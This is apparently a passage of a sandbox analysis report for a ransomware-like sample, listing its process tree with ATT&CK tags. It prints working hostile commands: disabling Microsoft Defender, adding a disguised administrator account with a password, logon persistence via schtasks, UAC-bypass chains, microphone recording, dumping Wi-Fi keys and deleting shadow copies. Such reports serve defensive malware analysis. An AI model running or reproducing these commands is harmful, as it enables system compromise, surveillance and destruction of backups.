                                                                                                                                                                                                                                                                                                • Scheduled Task/Job: Scheduled Task
                                                                                                                                                                                                                                                                                                PID:4116
                                                                                                                                                                                                                                                                                              • C:\Windows\System32\cmstp.exe
                                                                                                                                                                                                                                                                                                "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\14aa4ade-6d30-423c-a7fe-c15f5b717e11.inf
                                                                                                                                                                                                                                                                                                6⤵
                                                                                                                                                                                                                                                                                                  PID:5168
                                                                                                                                                                                                                                                                                                • C:\Windows\System32\eventvwr.exe
                                                                                                                                                                                                                                                                                                  "C:\Windows\System32\eventvwr.exe"
                                                                                                                                                                                                                                                                                                  6⤵
                                                                                                                                                                                                                                                                                                    PID:5956
                                                                                                                                                                                                                                                                                                    • C:\Windows\system32\mmc.exe
                                                                                                                                                                                                                                                                                                      "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
                                                                                                                                                                                                                                                                                                      7⤵
                                                                                                                                                                                                                                                                                                        PID:5928
                                                                                                                                                                                                                                                                                                    • C:\Windows\System32\fodhelper.exe
                                                                                                                                                                                                                                                                                                      "C:\Windows\System32\fodhelper.exe"
                                                                                                                                                                                                                                                                                                      6⤵
                                                                                                                                                                                                                                                                                                        PID:2460
                                                                                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\www.animalworld.io_ransome.exe
                                                                                                                                                                                                                                                                                                          "C:\Users\Admin\AppData\Local\Temp\www.animalworld.io_ransome.exe"
                                                                                                                                                                                                                                                                                                          7⤵
                                                                                                                                                                                                                                                                                                            PID:5844
                                                                                                                                                                                                                                                                                                            • C:\Windows\System32\schtasks.exe
                                                                                                                                                                                                                                                                                                              "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\www.animalworld.io_ransome.exe" /sc onlogon /f
                                                                                                                                                                                                                                                                                                              8⤵
                                                                                                                                                                                                                                                                                                              • Scheduled Task/Job: Scheduled Task
                                                                                                                                                                                                                                                                                                              PID:6852
                                                                                                                                                                                                                                                                                                            • C:\Windows\System32\cmstp.exe
                                                                                                                                                                                                                                                                                                              "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\2c5f4eae-7fc5-47e1-b8d6-12cca141c7fa.inf
                                                                                                                                                                                                                                                                                                              8⤵
                                                                                                                                                                                                                                                                                                                PID:6936
                                                                                                                                                                                                                                                                                                              • C:\Windows\System32\eventvwr.exe
                                                                                                                                                                                                                                                                                                                "C:\Windows\System32\eventvwr.exe"
                                                                                                                                                                                                                                                                                                                8⤵
                                                                                                                                                                                                                                                                                                                  PID:7068
                                                                                                                                                                                                                                                                                                                  • C:\Windows\system32\mmc.exe
                                                                                                                                                                                                                                                                                                                    "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
                                                                                                                                                                                                                                                                                                                    9⤵
                                                                                                                                                                                                                                                                                                                      PID:7132
                                                                                                                                                                                                                                                                                                                  • C:\Windows\System32\fodhelper.exe
                                                                                                                                                                                                                                                                                                                    "C:\Windows\System32\fodhelper.exe"
                                                                                                                                                                                                                                                                                                                    8⤵
                                                                                                                                                                                                                                                                                                                      PID:5392
                                                                                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\www.animalworld.io_ransome.exe
                                                                                                                                                                                                                                                                                                                        "C:\Users\Admin\AppData\Local\Temp\www.animalworld.io_ransome.exe"
                                                                                                                                                                                                                                                                                                                        9⤵
                                                                                                                                                                                                                                                                                                                          PID:7028
                                                                                                                                                                                                                                                                                                                          • C:\Windows\System32\schtasks.exe
                                                                                                                                                                                                                                                                                                                            "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\www.animalworld.io_ransome.exe" /sc onlogon /f
                                                                                                                                                                                                                                                                                                                            10⤵
                                                                                                                                                                                                                                                                                                                            • Scheduled Task/Job: Scheduled Task
                                                                                                                                                                                                                                                                                                                            PID:7100
                                                                                                                                                                                                                                                                                                                          • C:\Windows\System32\cmstp.exe
                                                                                                                                                                                                                                                                                                                            "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\f73c537b-eefd-4768-8fac-2df439b06868.inf
                                                                                                                                                                                                                                                                                                                            10⤵
                                                                                                                                                                                                                                                                                                                              PID:7012
                                                                                                                                                                                                                                                                                                                            • C:\Windows\System32\eventvwr.exe
                                                                                                                                                                                                                                                                                                                              "C:\Windows\System32\eventvwr.exe"
                                                                                                                                                                                                                                                                                                                              10⤵
                                                                                                                                                                                                                                                                                                                                PID:7196
                                                                                                                                                                                                                                                                                                                                • C:\Windows\system32\mmc.exe
                                                                                                                                                                                                                                                                                                                                  "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
                                                                                                                                                                                                                                                                                                                                  11⤵
                                                                                                                                                                                                                                                                                                                                    PID:7272
                                                                                                                                                                                                                                                                                                                                • C:\Windows\System32\fodhelper.exe
                                                                                                                                                                                                                                                                                                                                  "C:\Windows\System32\fodhelper.exe"
                                                                                                                                                                                                                                                                                                                                  10⤵
                                                                                                                                                                                                                                                                                                                                    PID:7324
                                                                                                                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\www.animalworld.io_ransome.exe
                                                                                                                                                                                                                                                                                                                                      "C:\Users\Admin\AppData\Local\Temp\www.animalworld.io_ransome.exe"
                                                                                                                                                                                                                                                                                                                                      11⤵
                                                                                                                                                                                                                                                                                                                                        PID:7200
                                                                                                                                                                                                                                                                                                                                        • C:\Windows\System32\schtasks.exe
                                                                                                                                                                                                                                                                                                                                          "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\www.animalworld.io_ransome.exe" /sc onlogon /f
                                                                                                                                                                                                                                                                                                                                          12⤵
                                                                                                                                                                                                                                                                                                                                          • Scheduled Task/Job: Scheduled Task
                                                                                                                                                                                                                                                                                                                                          PID:7676
                                                                                                                                                                                                                                                                                                                                        • C:\Windows\System32\cmstp.exe
                                                                                                                                                                                                                                                                                                                                          "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\bf0d182b-7874-41d3-bf18-5377d6985148.inf
                                                                                                                                                                                                                                                                                                                                          12⤵
                                                                                                                                                                                                                                                                                                                                            PID:6680
                                                                                                                                                                                                                                                                                                                                          • C:\Windows\System32\eventvwr.exe
                                                                                                                                                                                                                                                                                                                                            "C:\Windows\System32\eventvwr.exe"
                                                                                                                                                                                                                                                                                                                                            12⤵
                                                                                                                                                                                                                                                                                                                                              PID:7284
                                                                                                                                                                                                                                                                                                                                              • C:\Windows\system32\mmc.exe
                                                                                                                                                                                                                                                                                                                                                "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
                                                                                                                                                                                                                                                                                                                                                13⤵
                                                                                                                                                                                                                                                                                                                                                  PID:8208
                                                                                                                                                                                                                                                                                                                                              • C:\Windows\System32\fodhelper.exe
                                                                                                                                                                                                                                                                                                                                                "C:\Windows\System32\fodhelper.exe"
                                                                                                                                                                                                                                                                                                                                                12⤵
                                                                                                                                                                                                                                                                                                                                                  PID:8280
                                                                                                                                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\www.animalworld.io_ransome.exe
                                                                                                                                                                                                                                                                                                                                                    "C:\Users\Admin\AppData\Local\Temp\www.animalworld.io_ransome.exe"
                                                                                                                                                                                                                                                                                                                                                    13⤵
                                                                                                                                                                                                                                                                                                                                                      PID:9196
                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\System32\schtasks.exe
                                                                                                                                                                                                                                                                                                                                                        "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\www.animalworld.io_ransome.exe" /sc onlogon /f
                                                                                                                                                                                                                                                                                                                                                        14⤵
                                                                                                                                                                                                                                                                                                                                                        • Scheduled Task/Job: Scheduled Task
                                                                                                                                                                                                                                                                                                                                                        PID:4500
                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\System32\cmstp.exe
                                                                                                                                                                                                                                                                                                                                                        "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\c0668a08-1322-4e74-890f-3f805e9e87bb.inf
                                                                                                                                                                                                                                                                                                                                                        14⤵
                                                                                                                                                                                                                                                                                                                                                          PID:8216
                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\System32\eventvwr.exe
                                                                                                                                                                                                                                                                                                                                                          "C:\Windows\System32\eventvwr.exe"
                                                                                                                                                                                                                                                                                                                                                          14⤵
                                                                                                                                                                                                                                                                                                                                                            PID:9316
                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\system32\mmc.exe
                                                                                                                                                                                                                                                                                                                                                              "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
                                                                                                                                                                                                                                                                                                                                                              15⤵
                                                                                                                                                                                                                                                                                                                                                                PID:9580
                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\System32\fodhelper.exe
                                                                                                                                                                                                                                                                                                                                                              "C:\Windows\System32\fodhelper.exe"
                                                                                                                                                                                                                                                                                                                                                              14⤵
                                                                                                                                                                                                                                                                                                                                                                PID:9760
                                                                                                                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\www.animalworld.io_ransome.exe
                                                                                                                                                                                                                                                                                                                                                                  "C:\Users\Admin\AppData\Local\Temp\www.animalworld.io_ransome.exe"
                                                                                                                                                                                                                                                                                                                                                                  15⤵
                                                                                                                                                                                                                                                                                                                                                                    PID:10280
                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\System32\schtasks.exe
                                                                                                                                                                                                                                                                                                                                                                      "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\www.animalworld.io_ransome.exe" /sc onlogon /f
                                                                                                                                                                                                                                                                                                                                                                      16⤵
                                                                                                                                                                                                                                                                                                                                                                      • Scheduled Task/Job: Scheduled Task
                                                                                                                                                                                                                                                                                                                                                                      PID:2200
                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\System32\cmstp.exe
                                                                                                                                                                                                                                                                                                                                                                      "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\be680921-8ce4-48c6-affe-57a20241541d.inf
                                                                                                                                                                                                                                                                                                                                                                      16⤵
                                                                                                                                                                                                                                                                                                                                                                        PID:11988
                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                                                                                                                    "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
                                                                                                                                                                                                                                                                                                                                                                    14⤵
                                                                                                                                                                                                                                                                                                                                                                    • Disables one or more Microsoft Defender components
                                                                                                                                                                                                                                                                                                                                                                    • Command and Scripting Interpreter: PowerShell
                                                                                                                                                                                                                                                                                                                                                                    PID:9768
                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\system32\net.exe
                                                                                                                                                                                                                                                                                                                                                                    "net.exe" user WindowsUpdater P@ssw0rd123 /add
                                                                                                                                                                                                                                                                                                                                                                    14⤵
                                                                                                                                                                                                                                                                                                                                                                    • Creates a new local user account
                                                                                                                                                                                                                                                                                                                                                                    PID:9880
                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\system32\net1.exe
                                                                                                                                                                                                                                                                                                                                                                      C:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add
                                                                                                                                                                                                                                                                                                                                                                      15⤵
                                                                                                                                                                                                                                                                                                                                                                      • Creates a new local user account
                                                                                                                                                                                                                                                                                                                                                                      PID:11624
                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\system32\net.exe
                                                                                                                                                                                                                                                                                                                                                                    "net.exe" localgroup Administrators WindowsUpdater /add
                                                                                                                                                                                                                                                                                                                                                                    14⤵
                                                                                                                                                                                                                                                                                                                                                                      PID:5784
                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\system32\net1.exe
                                                                                                                                                                                                                                                                                                                                                                        C:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add
                                                                                                                                                                                                                                                                                                                                                                        15⤵
                                                                                                                                                                                                                                                                                                                                                                          PID:12028
                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                                                                                                                    "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
                                                                                                                                                                                                                                                                                                                                                                    12⤵
                                                                                                                                                                                                                                                                                                                                                                    • Disables one or more Microsoft Defender components
                                                                                                                                                                                                                                                                                                                                                                    • Command and Scripting Interpreter: PowerShell
                                                                                                                                                                                                                                                                                                                                                                    PID:8288
                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\system32\net.exe
                                                                                                                                                                                                                                                                                                                                                                    "net.exe" user WindowsUpdater P@ssw0rd123 /add
                                                                                                                                                                                                                                                                                                                                                                    12⤵
                                                                                                                                                                                                                                                                                                                                                                    • Creates a new local user account
                                                                                                                                                                                                                                                                                                                                                                    PID:7700
                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\system32\net1.exe
                                                                                                                                                                                                                                                                                                                                                                      C:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add
                                                                                                                                                                                                                                                                                                                                                                      13⤵
                                                                                                                                                                                                                                                                                                                                                                      • Creates a new local user account
                                                                                                                                                                                                                                                                                                                                                                      PID:7604
                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\system32\net.exe
                                                                                                                                                                                                                                                                                                                                                                    "net.exe" localgroup Administrators WindowsUpdater /add
                                                                                                                                                                                                                                                                                                                                                                    12⤵
                                                                                                                                                                                                                                                                                                                                                                      PID:8132
                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\system32\net1.exe
                                                                                                                                                                                                                                                                                                                                                                        C:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add
                                                                                                                                                                                                                                                                                                                                                                        13⤵
                                                                                                                                                                                                                                                                                                                                                                          PID:9504
                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\system32\notepad.exe
                                                                                                                                                                                                                                                                                                                                                                        "notepad.exe"
                                                                                                                                                                                                                                                                                                                                                                        12⤵
                                                                                                                                                                                                                                                                                                                                                                          PID:9452
                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                                                                                                                      "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
                                                                                                                                                                                                                                                                                                                                                                      10⤵
                                                                                                                                                                                                                                                                                                                                                                      • Disables one or more Microsoft Defender components
                                                                                                                                                                                                                                                                                                                                                                      • Command and Scripting Interpreter: PowerShell
                                                                                                                                                                                                                                                                                                                                                                      PID:7336
                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\system32\net.exe
                                                                                                                                                                                                                                                                                                                                                                      "net.exe" user WindowsUpdater P@ssw0rd123 /add
                                                                                                                                                                                                                                                                                                                                                                      10⤵
                                                                                                                                                                                                                                                                                                                                                                      • Creates a new local user account
                                                                                                                                                                                                                                                                                                                                                                      PID:5808
                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\system32\net1.exe
                                                                                                                                                                                                                                                                                                                                                                        C:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add
                                                                                                                                                                                                                                                                                                                                                                        11⤵
                                                                                                                                                                                                                                                                                                                                                                        • Creates a new local user account
                                                                                                                                                                                                                                                                                                                                                                        PID:7044
                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\system32\net.exe
                                                                                                                                                                                                                                                                                                                                                                      "net.exe" localgroup Administrators WindowsUpdater /add
                                                                                                                                                                                                                                                                                                                                                                      10⤵
                                                                                                                                                                                                                                                                                                                                                                        PID:1460
                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\system32\net1.exe
                                                                                                                                                                                                                                                                                                                                                                          C:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add
                                                                                                                                                                                                                                                                                                                                                                          11⤵
                                                                                                                                                                                                                                                                                                                                                                            PID:8588
                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\system32\notepad.exe
                                                                                                                                                                                                                                                                                                                                                                          "notepad.exe"
                                                                                                                                                                                                                                                                                                                                                                          10⤵
                                                                                                                                                                                                                                                                                                                                                                            PID:9412
                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                                                                                                                        "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
                                                                                                                                                                                                                                                                                                                                                                        8⤵
                                                                                                                                                                                                                                                                                                                                                                        • Disables one or more Microsoft Defender components
                                                                                                                                                                                                                                                                                                                                                                        • Command and Scripting Interpreter: PowerShell
                                                                                                                                                                                                                                                                                                                                                                        PID:2528
                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\system32\net.exe
                                                                                                                                                                                                                                                                                                                                                                        "net.exe" user WindowsUpdater P@ssw0rd123 /add
                                                                                                                                                                                                                                                                                                                                                                        8⤵
                                                                                                                                                                                                                                                                                                                                                                        • Creates a new local user account
                                                                                                                                                                                                                                                                                                                                                                        PID:6216
                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\system32\net1.exe
                                                                                                                                                                                                                                                                                                                                                                          C:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add
                                                                                                                                                                                                                                                                                                                                                                          9⤵
                                                                                                                                                                                                                                                                                                                                                                          • Creates a new local user account
                                                                                                                                                                                                                                                                                                                                                                          PID:5828
                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\system32\net.exe
                                                                                                                                                                                                                                                                                                                                                                        "net.exe" localgroup Administrators WindowsUpdater /add
                                                                                                                                                                                                                                                                                                                                                                        8⤵
                                                                                                                                                                                                                                                                                                                                                                          PID:7228
                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\system32\net1.exe
                                                                                                                                                                                                                                                                                                                                                                            C:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add
                                                                                                                                                                                                                                                                                                                                                                            9⤵
                                                                                                                                                                                                                                                                                                                                                                              PID:7736
                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\system32\notepad.exe
                                                                                                                                                                                                                                                                                                                                                                            "notepad.exe"
                                                                                                                                                                                                                                                                                                                                                                            8⤵
                                                                                                                                                                                                                                                                                                                                                                              PID:9028
                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                                                                                                                          "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
                                                                                                                                                                                                                                                                                                                                                                          6⤵
                                                                                                                                                                                                                                                                                                                                                                          • Disables one or more Microsoft Defender components
                                                                                                                                                                                                                                                                                                                                                                          • Command and Scripting Interpreter: PowerShell
                                                                                                                                                                                                                                                                                                                                                                          PID:2516
                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\system32\net.exe
                                                                                                                                                                                                                                                                                                                                                                          "net.exe" user WindowsUpdater P@ssw0rd123 /add
                                                                                                                                                                                                                                                                                                                                                                          6⤵
                                                                                                                                                                                                                                                                                                                                                                          • Creates a new local user account
                                                                                                                                                                                                                                                                                                                                                                          PID:6820
                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\system32\net1.exe
                                                                                                                                                                                                                                                                                                                                                                            C:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add
                                                                                                                                                                                                                                                                                                                                                                            7⤵
                                                                                                                                                                                                                                                                                                                                                                            • Creates a new local user account
                                                                                                                                                                                                                                                                                                                                                                            PID:4344
                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\system32\net.exe
                                                                                                                                                                                                                                                                                                                                                                          "net.exe" localgroup Administrators WindowsUpdater /add
                                                                                                                                                                                                                                                                                                                                                                          6⤵
                                                                                                                                                                                                                                                                                                                                                                            PID:6420
                                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\system32\net1.exe
                                                                                                                                                                                                                                                                                                                                                                              C:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add
                                                                                                                                                                                                                                                                                                                                                                              7⤵
                                                                                                                                                                                                                                                                                                                                                                                PID:6124
                                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\system32\notepad.exe
                                                                                                                                                                                                                                                                                                                                                                              "notepad.exe"
                                                                                                                                                                                                                                                                                                                                                                              6⤵
                                                                                                                                                                                                                                                                                                                                                                                PID:8168
                                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                                                                                                                                "powershell.exe" -Command "Add-Type -AssemblyName System.Windows.Forms; $rec = New-Object System.Windows.Forms.AxHost('{0F5819E0-38AD-11D0-A404-00A0C9062809}'); $rec.Start(); Start-Sleep -Seconds 5; $rec.Stop(); $rec.Save('C:\Users\Admin\AppData\Local\Temp\mic_639216307488159105.wav')"
                                                                                                                                                                                                                                                                                                                                                                                6⤵
                                                                                                                                                                                                                                                                                                                                                                                • Command and Scripting Interpreter: PowerShell
                                                                                                                                                                                                                                                                                                                                                                                PID:11736
                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                                                                                                                            "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
                                                                                                                                                                                                                                                                                                                                                                            4⤵
                                                                                                                                                                                                                                                                                                                                                                            • Disables one or more Microsoft Defender components
                                                                                                                                                                                                                                                                                                                                                                            • Command and Scripting Interpreter: PowerShell
                                                                                                                                                                                                                                                                                                                                                                            PID:1272
                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\system32\net.exe
                                                                                                                                                                                                                                                                                                                                                                            "net.exe" user WindowsUpdater P@ssw0rd123 /add
                                                                                                                                                                                                                                                                                                                                                                            4⤵
                                                                                                                                                                                                                                                                                                                                                                            • Creates a new local user account
                                                                                                                                                                                                                                                                                                                                                                            PID:2056
                                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\system32\net1.exe
                                                                                                                                                                                                                                                                                                                                                                              C:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add
                                                                                                                                                                                                                                                                                                                                                                              5⤵
                                                                                                                                                                                                                                                                                                                                                                              • Creates a new local user account
                                                                                                                                                                                                                                                                                                                                                                              PID:4204
                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\system32\net.exe
                                                                                                                                                                                                                                                                                                                                                                            "net.exe" localgroup Administrators WindowsUpdater /add
                                                                                                                                                                                                                                                                                                                                                                            4⤵
                                                                                                                                                                                                                                                                                                                                                                              PID:5852
                                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\system32\net1.exe
                                                                                                                                                                                                                                                                                                                                                                                C:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add
                                                                                                                                                                                                                                                                                                                                                                                5⤵
                                                                                                                                                                                                                                                                                                                                                                                  PID:6640
                                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\system32\notepad.exe
                                                                                                                                                                                                                                                                                                                                                                                "notepad.exe"
                                                                                                                                                                                                                                                                                                                                                                                4⤵
                                                                                                                                                                                                                                                                                                                                                                                  PID:7540
                                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                                                                                                                                  "powershell.exe" -Command "Add-Type -AssemblyName System.Windows.Forms; $rec = New-Object System.Windows.Forms.AxHost('{0F5819E0-38AD-11D0-A404-00A0C9062809}'); $rec.Start(); Start-Sleep -Seconds 5; $rec.Stop(); $rec.Save('C:\Users\Admin\AppData\Local\Temp\mic_639216307447853079.wav')"
                                                                                                                                                                                                                                                                                                                                                                                  4⤵
                                                                                                                                                                                                                                                                                                                                                                                  • Command and Scripting Interpreter: PowerShell
                                                                                                                                                                                                                                                                                                                                                                                  PID:10912
                                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\system32\netsh.exe
                                                                                                                                                                                                                                                                                                                                                                                  "netsh" wlan show profiles key=clear
                                                                                                                                                                                                                                                                                                                                                                                  4⤵
                                                                                                                                                                                                                                                                                                                                                                                  • System Network Configuration Discovery: Wi-Fi Discovery
                                                                                                                                                                                                                                                                                                                                                                                  PID:8040
                                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\System32\vssadmin.exe
                                                                                                                                                                                                                                                                                                                                                                                  "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
                                                                                                                                                                                                                                                                                                                                                                                  4⤵
                                                                                                                                                                                                                                                                                                                                                                                  • Interacts with shadow copies
                                                                                                                                                                                                                                                                                                                                                                                  PID:12252
                                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                                                                                                                              "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
                                                                                                                                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                                                                                                                              • Disables one or more Microsoft Defender components
                                                                                                                                                                                                                                                                                                                                                                              • Command and Scripting Interpreter: PowerShell
                                                                                                                                                                                                                                                                                                                                                                              PID:4912
                                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\system32\net.exe
                                                                                                                                                                                                                                                                                                                                                                              "net.exe" user WindowsUpdater P@ssw0rd123 /add
                                                                                                                                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                                                                                                                              • Creates a new local user account
                                                                                                                                                                                                                                                                                                                                                                              PID:4456
                                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\system32\net1.exe
                                                                                                                                                                                                                                                                                                                                                                                C:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add
                                                                                                                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                                                                                                                • Creates a new local user account
                                                                                                                                                                                                                                                                                                                                                                                PID:5152
                                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\system32\net.exe
                                                                                                                                                                                                                                                                                                                                                                              "net.exe" localgroup Administrators WindowsUpdater /add
                                                                                                                                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                                                                                                                                PID:5712
                                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\system32\net1.exe
                                                                                                                                                                                                                                                                                                                                                                                  C:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add
                                                                                                                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                                                                                                                    PID:2104
                                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\system32\notepad.exe
                                                                                                                                                                                                                                                                                                                                                                                  "notepad.exe"
                                                                                                                                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                                                                                                                                    PID:6688
                                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                                                                                                                                    "powershell.exe" -Command "Add-Type -AssemblyName System.Windows.Forms; $rec = New-Object System.Windows.Forms.AxHost('{0F5819E0-38AD-11D0-A404-00A0C9062809}'); $rec.Start(); Start-Sleep -Seconds 5; $rec.Stop(); $rec.Save('C:\Users\Admin\AppData\Local\Temp\mic_639216307429721182.wav')"
                                                                                                                                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                                                                                                                                    • Command and Scripting Interpreter: PowerShell
                                                                                                                                                                                                                                                                                                                                                                                    PID:10056
                                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\system32\netsh.exe
                                                                                                                                                                                                                                                                                                                                                                                    "netsh" wlan show profiles key=clear
                                                                                                                                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                                                                                                                                    • System Network Configuration Discovery: Wi-Fi Discovery
                                                                                                                                                                                                                                                                                                                                                                                    PID:8772
                                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\System32\vssadmin.exe
                                                                                                                                                                                                                                                                                                                                                                                    "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
                                                                                                                                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                                                                                                                                    • Interacts with shadow copies
                                                                                                                                                                                                                                                                                                                                                                                    PID:10048

                                                                                                                                                                                                                                                                                                                                                                                Network

                                                                                                                                                                                                                                                                                                                                                                                      MITRE ATT&CK Enterprise v16

                                                                                                                                                                                                                                                                                                                                                                                      Reconnaissance

                                                                                                                                                                                                                                                                                                                                                                                      Resource Development

                                                                                                                                                                                                                                                                                                                                                                                      Initial Access

                                                                                                                                                                                                                                                                                                                                                                                      Execution

                                                                                                                                                                                                                                                                                                                                                                                      Command and Scripting Interpreter

                                                                                                                                                                                                                                                                                                                                                                                      1
                                                                                                                                                                                                                                                                                                                                                                                      T1059

